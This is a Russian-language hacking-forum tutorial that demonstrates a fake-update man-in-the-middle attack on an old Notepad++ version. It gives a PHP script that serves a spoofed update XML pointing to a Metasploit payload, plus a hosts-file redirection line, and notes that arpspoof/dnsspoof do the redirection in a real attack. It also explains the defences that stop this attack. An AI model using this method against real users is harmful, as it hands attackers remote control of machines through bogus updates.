Привет, codeby.net!
Эта статья посвящена теме, которая давно не дает мне покоя, — фейковым обновлениям ПО. Меня в целом захватывает мир атак типа
	Ссылка скрыта от гостей
, особенно их реализация внутри локальной сети. И подмена обновлений — один из самых коварных векторов. Года полтора назад я наткнулся на фреймворк Evilgrade и загорелся идеей понять его механику. Первая попытка разобраться с наскока провалилась, и я, честно говоря, забил. Но сегодня я вернулся к этой теме, и на этот раз добился результата.Сразу оговорюсь: это не пошаговая инструкция для взлома. Моя цель — разобрать методологию атаки, показать ее внутреннюю кухню на простом и наглядном примере. Суть материала — продемонстрировать, как это работает на фундаментальном уровне. Давайте выйдем за рамки скрипт-кидди и прокачаем понимание процессов. Бездумно запускать готовый софт могут все, а вот понять принципы его работы — немногие.
Теоретические основы атаки
Прежде чем погружаться в практику, давайте разберем, как вообще устроен механизм обновления большинства программ.Этапы обновления ПО:
- Программа отправляет на сервер разработчика запрос для проверки новой версии (автоматически или по клику пользователя).
 - Сервер получает запрос, проверяет наличие обновлений и отправляет ответ.
 - Программа обрабатывает ответ: если обновление доступно — предлагает его скачать и установить, если нет — сообщает, что используется актуальная версия.
 
Этапы проведения атаки:
- Перехватить и проанализировать запрос, который программа отправляет на сервер обновлений.
 - Изучить структуру и содержание ответа, который присылает легитимный сервер.
 - Поднять собственный веб-сервер в локальной сети.
 - Реализовать атаку типа 
	
Ссылка скрыта от гостей, чтобы перенаправить запросы от жертвы с адреса сервера обновлений на наш локальный сервер.
 - Сформировать на нашем сервере поддельный ответ, который будет понятен программе и будет содержать ссылку на нашу вредоносную нагрузку.
 
	Ссылка скрыта от гостей
, которая идеально подходит для демонстрации этого вектора атаки.Практическая реализация
Для воспроизведения атаки в лабораторных условиях нам понадобится следующий инструментарий:- Notepad++ v6.0 (
	
Ссылка скрыта от гостей) — важно использовать именно старую версию, так как она общается с сервером по небезопасному протоколу HTTP.
 - XAMPP (
	
Ссылка скрыта от гостей) — для быстрого развертывания веб-сервера Apache.
 - Wireshark (
	
Ссылка скрыта от гостей) — наш главный инструмент для анализа сетевого трафика.
 
? и выберите пункт «Обновить Notepad++».
Вы увидите окно с предложением скачать новую версию. Это именно то, что нам нужно.
Пока что нажимаем «Отмена» и открываем Wireshark. Выберите ваш активный сетевой интерфейс (тот, через который идет трафик в интернет).
В поле фильтра введите
http и нажмите Enter. Теперь снова повторите запрос на обновление в Notepad++. Через пару секунд остановите захват пакетов в Wireshark и приступайте к анализу. В колонке Info вы легко заметите GET запрос, URL которого содержит слово update.
Изучив этот запрос более детально, мы видим
Full request URI, который ведет на notepad-plus-plus.org. Чтобы убедиться, что это нужный нам эндпоинт, давайте перейдем по полному URL в браузере: 
	
	Ссылка скрыта от гостей
В ответ мы получим XML-документ, который сообщает программе о наличии новой версии и где ее скачать:
		XML:
	
	<GUP>
<NeedToBeUpdated>yes</NeedToBeUpdated>
<Version>7.5.9</Version>
<Location>http://notepad-plus-plus.org/repository/7.x/7.5.9/npp.7.5.9.Installer.exe</Location>
</GUP>
	Поскольку мы работаем в лабораторных условиях, я упрощу некоторые шаги, а именно
	Ссылка скрыта от гостей
 и поднятие сервера. Для чистоты эксперимента это не критично.Устанавливаем XAMPP и запускаем модуль Apache.
Переходим в корневую директорию нашего локального сайта:
C:\xampp\htdocs. Здесь создаем две папки: update и repository.update— обязательная папка, так как она присутствует в URL запроса. В ней будет лежать наш скрипт-ответчик.repository— необязательная папка. Мы можем указать любой путь для скачивания пейлоада, но для порядка и чистоты структуры положим его сюда.
Теперь в папке
update создаем файл getDownloadUrl.php со следующим кодом:
		PHP:
	
	<?php
// Устанавливаем заголовок, чтобы клиент понял, что это XML
header('Content-type: text/xml');
// Формируем наш поддельный XML-ответ
$xml = <<<XML
<GUP>
<NeedToBeUpdated>yes</NeedToBeUpdated>
<Version>9.9.9</Version>
<Location>http://notepad-plus-plus.org/repository/payload.exe</Location>
</GUP>
XML;
// Отдаем XML клиенту
echo $xml;
?>
	<Location> мы указываем путь к нашему файлу payload.exe.Сам
payload.exe я сгенерировал на Kali Linux с помощью msfvenom. Пример его создания можно найти в статье [Metasploit] устанавливаем обратное TCP соединение через ngrok. Готовый exe-файл поместите в папку C:\xampp\htdocs\repository.Важное замечание: стандартные пейлоады, сгенерированные Metasploit, сегодня легко обнаруживаются практически любым антивирусом. В реальных условиях атакующие используют продвинутые техники обфускации, шифрования и загрузчики, написанные на заказ.
Давайте убедимся, что все настроено правильно. Перейдите в браузере по адресу
http://localhost/repository/ и проверьте, что ваш payload.exe на месте.
Затем откройте
http://localhost/update/getDownloadUrl.php, чтобы увидеть сгенерированный XML.
Если у вас все выглядит так же, как на скриншотах, — вы на верном пути!
Остался последний шаг: заставить систему жертвы отправлять запросы на наш локальный сервер вместо настоящего. В реальной атаке для этого используются техники ARP-spoofing + DNS-spoofing (например, с помощью
arpspoof и dnsspoof в Kali). Мы же, для простоты, отредактируем файл hosts на атакуемой машине.Откройте с правами администратора файл
C:\Windows\System32\drivers\etc\hosts и добавьте в конец строку:
		Bash:
	
	127.0.0.1 notepad-plus-plus.org
	notepad-plus-plus.org перенаправлять весь трафик на 127.0.0.1 (localhost), то есть на наш XAMPP-сервер.Подготовка завершена. Время для проверки.
Возвращаемся в Notepad++ и снова запускаем проверку обновления. Программа обратится к
notepad-plus-plus.org, но благодаря нашей манипуляции с hosts попадет на наш сервер. Наш скрипт отдаст поддельный XML, и программа предложит скачать «обновление». Соглашаемся.После скачивания появится окно установщика.
Соглашаемся на запуск. Notepad++ закроется, а наш
payload.exe выполнится, предоставляя нам контроль над машиной. В моем случае — я получил сессию Meterpreter.
Почему сегодня эта атака (в чистом виде) почти не работает?
Важно понимать, что описанный метод является классическим и сегодня сработает только против очень старого или плохо написанного софта. Современные приложения защищены от таких атак несколькими уровнями безопасности:- HTTPS: Абсолютное большинство программ сегодня использует для обновлений зашифрованный протокол HTTPS. Это сразу же рушит всю атаку, так как мы не можем ни прочитать запрос, ни подменить ответ без манипуляций с TLS-сертификатами, что является отдельной, гораздо более сложной задачей.
 - Проверка цифровой подписи: Надежные разработчики подписывают свои инсталляторы цифровой подписью. Даже если бы нам удалось подсунуть пользователю наш 
payload.exe, операционная система или сама программа-обновлятор перед запуском проверила бы подпись. Обнаружив, что файл подписан не доверенным издателем (или не подписан вовсе), она бы заблокировала его выполнение. - Certificate Pinning: Некоторые особо защищенные приложения «зашивают» в себя отпечаток легитимного SSL-сертификата сервера обновлений. При попытке MITM-атаки с подменой сертификата приложение обнаружит несоответствие и просто прервет соединение.
 
Выводы
Надеюсь, эта статья оказалась полезной и вы узнали что-то новое. Несмотря на то, что описанный вектор атаки устарел, он прекрасно иллюстрирует фундаментальные принципы атак класса Man-in-the-Middle. Понимание того, как программы общаются по сети, как анализировать их трафик и как можно манипулировать этим общением, — это основа основ для любого специалиста по кибербезопасности.Знания, которые вы получили, — это инструмент. А как его использовать, зависит только от вас. Удачи на просторах Codeby!
			
				Последнее редактирование: